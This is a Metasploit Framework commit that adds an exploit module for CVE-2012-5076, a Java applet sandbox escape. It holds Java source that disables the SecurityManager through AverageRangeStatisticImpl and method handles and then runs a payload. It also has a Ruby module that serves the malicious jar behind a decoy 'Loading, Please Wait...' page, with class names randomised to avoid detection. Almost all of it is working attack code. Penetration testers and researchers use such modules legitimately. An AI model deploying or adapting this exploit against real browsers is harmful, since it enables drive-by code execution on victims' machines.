Added new module for cve-2012-5076
jvazquez-r7
parent
624ef9a329
commit
78279a0397
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import java.security.AccessController;
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import java.security.PrivilegedExceptionAction;
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public class B
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implements PrivilegedExceptionAction
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{
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public B()
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{
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try
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{
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AccessController.doPrivileged(this); } catch (Exception e) {
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}
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}
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public Object run() {
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System.setSecurityManager(null);
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return new Object();
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}
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}
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import java.io.ByteArrayOutputStream;
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import java.io.IOException;
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import java.io.InputStream;
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import java.io.ObjectInputStream;
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import java.io.ObjectOutputStream;
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import metasploit.Payload;
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//import java.lang.Runtime;
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import java.applet.Applet;
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import java.lang.invoke.MethodHandle;
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import java.lang.invoke.MethodHandles;
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import java.lang.invoke.MethodType;
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import java.lang.reflect.Method;
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import com.sun.org.glassfish.external.statistics.impl.*;
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public class Exploit extends Applet
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{
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public static MethodHandles.Lookup test0;
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public Exploit()
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{
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}
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public void init()
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{
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try
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{
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ByteArrayOutputStream bos = new ByteArrayOutputStream();
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byte[] buffer = new byte[8192];
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int length;
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// read in the class file from the jar
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InputStream is = getClass().getResourceAsStream("B.class");
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// and write it out to the byte array stream
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while( ( length = is.read( buffer ) ) > 0 )
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bos.write( buffer, 0, length );
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// convert it to a simple byte array
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buffer = bos.toByteArray();
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Class c = Class.forName("java.lang.invoke.MethodHandles");
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Method m = c.getMethod("lookup", new Class[0]);
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AverageRangeStatisticImpl Avrg = new AverageRangeStatisticImpl(0,0,0,"","","",0,0);
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MethodHandles.Lookup test = (MethodHandles.Lookup)Avrg.invoke(null, m, new Object[0]);
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MethodType localMethodType0 = MethodType.methodType(Class.class, String.class);
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MethodHandle localMethodHandle0 = test.findStatic(Class.class, "forName", localMethodType0);
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Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" });
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Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" });
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// Instance of sun.org.mozilla.javascript.internal.Context
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MethodType localMethodType1 = MethodType.methodType(Void.TYPE);
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MethodHandle localMethodHandle1 = test.findConstructor(localClass1, localMethodType1);
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Object localObject1 = localMethodHandle1.invokeWithArguments(new Object[0]);
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// Context.createClassLoader
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MethodType localMethodType2 = MethodType.methodType(localClass2, ClassLoader.class);
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MethodHandle localMethodHandle2 = test.findVirtual(localClass1, "createClassLoader", localMethodType2);
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Object localObject2 = localMethodHandle2.invokeWithArguments(new Object[] { localObject1, null });
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// GeneratedClassLoader.defineClass
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MethodType localMethodType3 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
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MethodHandle localMethodHandle3 = test.findVirtual(localClass2, "defineClass", localMethodType3);
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Class localClass3 = (Class)localMethodHandle3.invokeWithArguments(new Object[] { localObject2, null, buffer });
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//New instance of the helper Class
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localClass3.newInstance();
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Payload.main(null);
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//Runtime.getRuntime().exec("calc.exe");
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}
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catch(Throwable ex)
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{
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//ex.printStackTrace();
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}
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}
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}
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# rt.jar must be in the classpath!
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CLASSES = \
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Exploit.java \
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B.java
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.SUFFIXES: .java .class
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.java.class:
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javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java
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all: $(CLASSES:.java=.class)
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install:
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mv Exploit.class ../../../../data/exploits/cve-2013-0422/
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mv B.class ../../../../data/exploits/cve-2013-0422/
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clean:
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rm -rf *.class
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({ :javascript => false })
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def initialize( info = {} )
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super( update_info( info,
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'Name' => 'Java Applet JMX Remote Code Execution',
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'Description' => %q{
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This module abuses the AverageRangeStatisticImpl from a Java Applet to run
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arbitrary Java code outside of the sandbox, a different exploit vector than the one
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exploited in the wild in November of 2012. The vulnerability affects Java version
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7u7 and earlier.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Unknown', # Vulnerability discovery at security-explorations
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2012-5076' ],
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[ 'OSVDB', '86363' ],
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[ 'BID', '56054' ],
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[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
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[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-5076' ],
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[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]
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],
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'Platform' => [ 'java', 'win', 'osx', 'linux' ],
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'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
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'Targets' =>
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[
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[ 'Generic (Java Payload)',
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{
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'Platform' => ['java'],
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'Arch' => ARCH_JAVA,
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}
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],
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[ 'Windows x86 (Native Payload)',
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{
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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}
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],
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[ 'Mac OS X x86 (Native Payload)',
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{
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'Platform' => 'osx',
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'Arch' => ARCH_X86,
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}
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],
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[ 'Linux x86 (Native Payload)',
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{
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 16 2012'
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))
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end
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def setup
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path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "Exploit.class")
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@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "B.class")
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@loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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@exploit_class_name = rand_text_alpha("Exploit".length)
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@exploit_class.gsub!("Exploit", @exploit_class_name)
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super
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end
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def on_request_uri(cli, request)
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print_status("handling request for #{request.uri}")
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case request.uri
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when /\.jar$/i
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jar = payload.encoded_jar
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jar.add_file("#{@exploit_class_name}.class", @exploit_class)
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jar.add_file("B.class", @loader_class)
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metasploit_str = rand_text_alpha("metasploit".length)
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payload_str = rand_text_alpha("payload".length)
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jar.entries.each { |entry|
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entry.name.gsub!("metasploit", metasploit_str)
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entry.name.gsub!("Payload", payload_str)
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entry.data = entry.data.gsub("metasploit", metasploit_str)
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entry.data = entry.data.gsub("Payload", payload_str)
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}
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jar.build_manifest
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send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
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when /\/$/
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payload = regenerate_payload(cli)
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if not payload
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print_error("Failed to generate the payload.")
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send_not_found(cli)
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return
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end
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send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
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else
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send_redirect(cli, get_resource() + '/', '')
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end
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end
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def generate_html
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html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
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html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
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html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
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html += %Q|</applet></body></html>|
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return html
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end
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end
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